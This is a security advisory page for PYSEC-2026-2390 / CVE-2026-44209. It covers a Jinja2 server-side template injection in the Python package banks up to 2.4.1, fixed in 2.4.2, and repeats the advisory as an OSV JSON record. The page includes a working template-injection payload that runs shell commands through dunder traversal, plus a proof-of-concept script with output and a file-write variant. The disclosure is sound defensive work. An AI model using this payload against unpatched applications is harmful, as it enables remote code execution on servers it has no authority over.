PYSEC-2026-2390

Vulnerability from pysec - Published: 2026-07-13 15:15 - Updated: 2026-07-13 16:03
VLAI
Details

Summary

banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.

Vulnerable Code

src/banks/env.py — the global Jinja2 environment is created without sandboxing:

env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()  # Executes arbitrary command on the host

Proof of Concept

Setup:

pip install banks==2.4.1

PoC script:

from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")

Confirmed output:

[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:**
```python
from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec

Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.

Fix

Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().

Resources

  • Fix: https://github.com/masci/banks/pull/74
  • CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
  • CVE-2025-25362 (spacy-llm — identical root cause)
  • CWE-1336: Improper Neutralization of Special Elements in a Template Engine
Impacted products
Name purl
banks pkg:pypi/banks

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "banks",
        "purl": "pkg:pypi/banks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.2",
        "0.0.3",
        "0.1.0",
        "0.1.1",
        "0.2.0",
        "0.3.0",
        "0.3.1",
        "0.4.1",
        "0.5.0",
        "0.6.0",
        "1.0.0",
        "1.1.0",
        "1.2.0",
        "1.2.1",
        "1.3.0",
        "1.4.0",
        "1.5.0",
        "1.6.0",
        "1.6.1",
        "1.7.0",
        "1.7.1",
        "1.8.0",
        "2.0.0",
        "2.1.0",
        "2.1.1",
        "2.1.2",
        "2.1.3",
        "2.2.0",
        "2.3.0",
        "2.4.0",
        "2.4.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44209",
    "GHSA-gphh-9q3h-jgpp"
  ],
  "details": "## Summary\n\n`banks \u003c= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment \u2014 not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` \u2014 the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n    autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n    ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(user_input)\np.text()  # Executes arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import Prompt\n\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(payload)\nresult = p.text()\nprint(f\"[+] Output: {result}\")\n```\n\n**Confirmed output:**\n```\n[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...\n\ntext\n\n**File-write proof:**\n```python\nfrom banks import Prompt\n\np = Prompt(\"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027echo POC \u003e /tmp/rce_banks_exec\u0027).read() }}\")\np.text()\n```\n```bash\nls -l /tmp/rce_banks_exec\n# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec\n```\n\n## Impact\n\nApplications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.\n\n## Fix\n\nFixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.\n\nDevelopers on `banks \u003c= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.\n\n## Resources\n- Fix: https://github.com/masci/banks/pull/74\n- CVE-2024-41950 (Haystack \u2014 identical root cause, CVSS 7.5)\n- CVE-2025-25362 (spacy-llm \u2014 identical root cause)\n- CWE-1336: Improper Neutralization of Special Elements in a Template Engine",
  "id": "PYSEC-2026-2390",
  "modified": "2026-07-13T16:03:35.599948Z",
  "published": "2026-07-13T15:15:42.685111Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/pull/74"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/masci/banks"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/banks"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-gphh-9q3h-jgpp"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…